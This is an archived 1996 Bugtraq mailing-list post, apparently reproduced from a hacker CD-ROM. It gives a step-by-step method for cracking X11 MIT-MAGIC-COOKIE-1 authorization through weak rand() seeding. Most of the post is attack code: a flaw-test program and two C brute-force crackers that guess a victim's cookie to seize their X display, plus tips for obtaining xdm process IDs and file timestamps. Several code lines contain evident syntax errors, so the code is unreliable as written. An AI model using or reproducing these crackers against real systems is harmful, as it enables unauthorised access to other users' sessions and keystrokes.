home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / magic__1.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  9.7 KB  |  314 lines

  1. Content-Type: TEXT/PLAIN; charset=US-ASCII
  2. Approved-By:  General Scirocco <sciri@NEWHACKCITY.NET>
  3. Date:         Thu, 1 Feb 1996 20:48:25 -0500
  4. Reply-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
  5. Sender: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
  6. From: General Scirocco <sciri@newhackcity.net>
  7. Subject:      Re: bind() Security Problems
  8. X-To:         Bugtraq List <BUGTRAQ@CRIMELAB.COM>
  9. To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
  10. In-Reply-To:  <199602011736.AA183746180@l-ecn046.icaen.uiowa.edu>
  11.  
  12. On Thu, 1 Feb 1996 dsiebert@icaen.uiowa.edu wrote:
  13.  
  14. > How long before someone comes up with an exploit of X that intercepts the
  15. > incoming connections to the X server, getting around the security provided
  16. > the magic cookie mechanism?
  17.  
  18. Can't you just sniff the plaintext cookies that are being sent across the
  19. network?  If not, wouldn't a TCP/IP hijacking attack work as well?  Also,
  20. you always have the following (which I can't take credit for, and it's
  21. pretty old):
  22.  
  23.         Cracking the MIT-MAGIC-COOKIE-1 authorization protocol.
  24.  
  25. 1) Auth-data is generated from 16 successive random numbers.
  26.    MIT-MAGIC-COOKIE-1 can use 2 different methods of seeding the random
  27.    number generator:
  28.  
  29.         a) Using the process ID of xdm client & time of day in seconds
  30.         b) Using the time of day in seconds & time of day in microseconds
  31.            (that connection was established).
  32.  
  33. 2) Process ID/time of day in microsecs is rotated left by 16 bits and added
  34.    to the time of day in seconds:
  35.  
  36.    #ifdef ITIMER_REAL
  37.      gettimeofday(&tod,&time_zone);
  38.      a=tod.tv_secs;
  39.      b=tod.tv_usecs;
  40.    #else
  41.      a=time(NULL);
  42.      b=getpid();
  43.    #endif
  44.  
  45.      seed=(a+(b<<16));
  46.      srand(seed);
  47.  
  48.      for(i=0;i<16;i++)
  49.       auth[i]=rand();
  50.  
  51. 3) Some operating systems that use the traditional srand()/rand() functions
  52.    have a mathematical flaw inherent in them that allows a faster method
  53.    of cracking auth-data, or a brute force attack on a remote machine
  54.    to which the user has no access.
  55.  
  56.    To determine if the target system's OS supports the rand() flaw, compile
  57.    and run the following src code under that operating system.
  58.    Two systems that support the flaw are SunOS4.1.x and FreeBSD.
  59.    OSF/x does _NOT_ support the flaw.
  60.  
  61.      #include <stdio.h>
  62.      main() {
  63.       char auth[16];
  64.       int i;
  65.  
  66.       srand(1);
  67.       for(i=0;i<16;i++)
  68.        auth[i]=rand()&0xff;
  69.       srand(257);
  70.       for(i=0;i<16;i++)
  71.        if (auth[i]!=(rand()&0xff))
  72.         exit(0);
  73.       puts("System supports flaw.");
  74.      }
  75.  
  76. 4) If the program produces no output, then the OS does NOT support the flaw,
  77.    and hence the long method should be used (see step 7-)
  78.  
  79.    [*] The flaw itself is that the low 8 bits of numbers produced by
  80.        successive calls to rand() repeat  in the same sequence with a period
  81.        of 256. Consequently, under such Operating Systems, there are only
  82.        256 unique magic cookies that can ever be generated.
  83.        It takes little longer than a second (on the local machine) to
  84.        generate & test every one of these cookies.
  85.  
  86. 5) Brute Force cracking of cookies generated using both methods
  87.    (utilising rand()'s flaw)
  88.  
  89.    - The lower 8 bits of numbers produced by rand() follow a predictable
  90.      pattern, and are a function of the lower 8 bits of the seed value.
  91.      Hence, to crack the auth-data, trying auths generated with seed values
  92.      0x00-0xff will yield a matching auth-data set.
  93.  
  94.      The code for such a method is as follows:
  95.  
  96. ------------------------cut--------here-----------------------
  97. #include <stdio.h>
  98. #include <fcntl.h>
  99. #include <sys/types.h>
  100. #include <X11/Xlib.h>
  101. #include <X11/Xauth.h>
  102.  
  103. char buf[256];
  104.  
  105. main(int argc, char **argv) {
  106.   long dpy;
  107.   char *ptr=(caddr_t)&dpy;
  108.   int i,j;
  109.   FILE *fd;
  110.  
  111.   puts("display:");
  112.   gets(buf);
  113.   sscanf(buf,"%d.%d.%d.%d:0.0",ptr[0],ptr[1],ptr[2],ptr[3]);
  114.  
  115.   cookie.family=0;
  116.   cookie.address_length=4;
  117.   cookie.address=ptr;
  118.   cookie.number_length=1;
  119.   cookie.number="0";
  120.   cookie.name_length=18;
  121.   cookie.name="MIT-MAGIC-COOKIE=1";
  122.   cookie.data_length=16;
  123.   cookie.data=auth;
  124.  
  125.   chdir(getenv("HOME"));
  126.   if ((fd=fopen(".Xauthority","w"))==NULL)
  127.    {
  128.     perror("fopen");
  129.     exit(1);
  130.    }
  131.  
  132.   for(i=0;i<256;i++) {
  133.    srand(i);
  134.    for (j=0;j<16;j++)
  135.     auth[j]=rand();
  136.  
  137.    rewind(fd);
  138.    XauWriteAuth(fd,&cookie);
  139.    fflush(fd);
  140.  
  141.    if (XOpenDisplay(buf)!==NULL) {
  142.     puts("success!");
  143.     puts("cookie added to .Xauthority");
  144.  
  145.     exit(0);
  146.     }
  147.   }
  148.  
  149.   fclose(fd);
  150.   unlink(".hehe");
  151.   puts("auth crack failed...");
  152.  }
  153.  
  154. --------------------------------cut-------here---------------
  155.  
  156. 6) Lazy people may furthur narrow the search space by determining the time
  157.    of day (in seconds) at which the X-connection was created, and using
  158.    the lower 8 bits of that time as a seed (for an exact, one shot crack or as
  159.    a starting approximation for a seed value...).
  160.    This can be determined by intelligent means, such as fingering the user,
  161.    checking utmp logs etc etc (see step 7 for a good method)
  162.  
  163. 7) Cracking cookies generated by method 'a' (on systems without the flaw)
  164.  
  165.    - On operating systems such as OSF/x, the flaw is (to all intents and
  166.      purposes) has been removed by reversing the major and minor nibbles
  167.      (effectively, returning (rand()>>16) ).
  168.  
  169.      [*] The low 8 bits of the upper nibble (probably) repeat, but with
  170.          a period of 2^24, making it too arduous to use brute force.
  171.          Chances are, a login session would not last long enough for the
  172.          cookie to be determined before the user logs out.
  173.  
  174.    - In order to crack a user's cookie, then, it is necessary to be able
  175.      to find out the process id of the xdm handling a display (which
  176.      would require being able to do a 'ps' on the machine serving the
  177.      X-client), and to know the approximate time that the session was
  178.      started.
  179.  
  180.      A good way to determine the time of day that the session was created
  181.      is to locate the file that contains the server's copy of the authority
  182.      data, and to stat the file and use the creation time (st_ctime)
  183.      as the time component of the seed.
  184.  
  185.      Such files can be found in the authDir named in the xdm-config file
  186.      (/usr/lib/X11/xdm/xdm-config -- or whatever follows the '-config' arg
  187.      in xdm's command line) under DisplayManager.authDir .
  188.  
  189.      [*] Note: this timestamp may be off by a second:
  190.          If the authority data is created on a second boundary, by the time
  191.          the data is written to the file (and the file is created), the
  192.          timestamp will be a second later than the actual value required.
  193.  
  194.          Should the generate data fail to work, try using the file's
  195.          timestamp - 1 in the generation process.
  196.  
  197.      [*] It should also be noted that sometimes auth-files from old xdm
  198.          sessions for the same display are also in the directory (ie
  199.          several authfiles for the same display).
  200.  
  201.          The naming protocol for these files is something like:
  202.  
  203.                  A-<display name>-<xdm pid>
  204.  
  205.          where the xdm pid is the number stored in the 'xdm-pid'
  206.          file in the same directory.
  207.  
  208.      - A simple source (that uses the file timestamp idea outlined above)
  209.        follows:
  210.  
  211. ---------------------------cut---here------------------------------
  212. #include <stdio.h>
  213. #include <X11/Xauth.h>
  214. #include <sys/stat.h>
  215. #include <sys/types.h>
  216.  
  217. main() {
  218.  Xauth cookie;
  219.  struct stat info;
  220.  char buf[256],dpy[4],auth[16],disp[25];
  221.  pid_t user_xdm;
  222.  FILE *fd;
  223.  int i,j;
  224.  time_t now;
  225.  
  226.  puts("enter display (x.x.x.x:0.0)");
  227.  gets(disp);
  228.  sscanf(disp,"%d.%d.%d.%d:0.0\r",&dpy[0],&dpy[1],&dpy[2],&dpy[3]);
  229.  
  230.  /* NOTE that the id prompted for here is not the pid found
  231.     in the xdm-pid file, but is the id of the session xdm process,
  232.     which usually appears in a ps -a looking something like:
  233.  
  234.         -<display> (xdm)
  235.  */
  236.  puts("enter session xdm id:");
  237.  scanf("%d\r",&user_xdm);
  238.  
  239.  /* the pathname of the server's auth_file */
  240.  puts("enter FULL pathname of server's auth file");
  241.  gets(buf);
  242.  
  243.  if (stat(buf,&info) {
  244.   puts("Oops, couldn't find file");
  245.   exit(1);
  246.   }
  247.  now=info.st_ctime;
  248.  
  249.  cookie.family=0;
  250.  cookie.addr_length=4;
  251.  cookie.addr=dpy;
  252.  cookie.number_length=1;
  253.  cookie.number="0";
  254.  cookie.name_length=18;
  255.  cookie.name="MIT-MAGIC-COOKIE-1";
  256.  cookie.data_length=16;
  257.  cookie.data=auth;
  258.  
  259.  chdir(getenv("HOME"));
  260.  if ((fd=fopen(".Xauthority","w"))==NULL)
  261.   {
  262.    perror("fopen failed");
  263.    exit(1);
  264.   }
  265.  
  266.  for(i=0;i<2;i++) {
  267.   srand(now+(user_xdm<<16));
  268.   for(j=0;j<16;j++)
  269.    auth[j]=rand()&x0ff;
  270.   XauWriteAuth(fd,&cookie);
  271.   fflush(fd);
  272.   if (XOpenDisplay(disp)) {
  273.    puts("cookie added to .Xauthority");
  274.    fclose(fd);
  275.    exit(0);
  276.    }
  277.   else {
  278.    rewind(fd);
  279.    now--;
  280.    }
  281.   }
  282.   puts("Cookie not found!!!!");
  283.   exit(1);
  284. }
  285.  
  286. ----------------------------cut------------here---------------------
  287.  
  288. 8) Cracking cookies generated by method b) (on systems without the flaw)
  289.  
  290.    - Good luck. The time of day is easily predicted by guesswork, or by
  291.      statting the server's authfile, but the time of day in microseconds
  292.      has to be guessed. Matters are made slightly easier by the fact
  293.      that the time of day in milliseconds is left shifted by 16 bits
  294.      (tv_msec << 16), and hence is only a 16-bit factor to deal with
  295.      (iteratively trying 65536 microsecond timestamps is faster than
  296.      1,000,000).
  297.  
  298.      If a user has access to the machine, it will take at most 2*65536
  299.      (accounting for the fact that the file's timestamp may be out by one
  300.      second -- see 7) == 131072 iterations. Chances are slim that a user
  301.      will stay logged on for a single session that long (console sessions
  302.      are a possibility).
  303.  
  304. 9) Attribution
  305.  
  306.    eris/Mr_X            10/1995
  307.  
  308.  
  309.   "Your information is mine for free.  But everything I can grab is secret
  310.   unless you  have something I want which can't  be free-loaded, stolen or
  311.   found somewhere else."        - George C. Smith, The Virus Creation Labs
  312.  
  313. 
  314.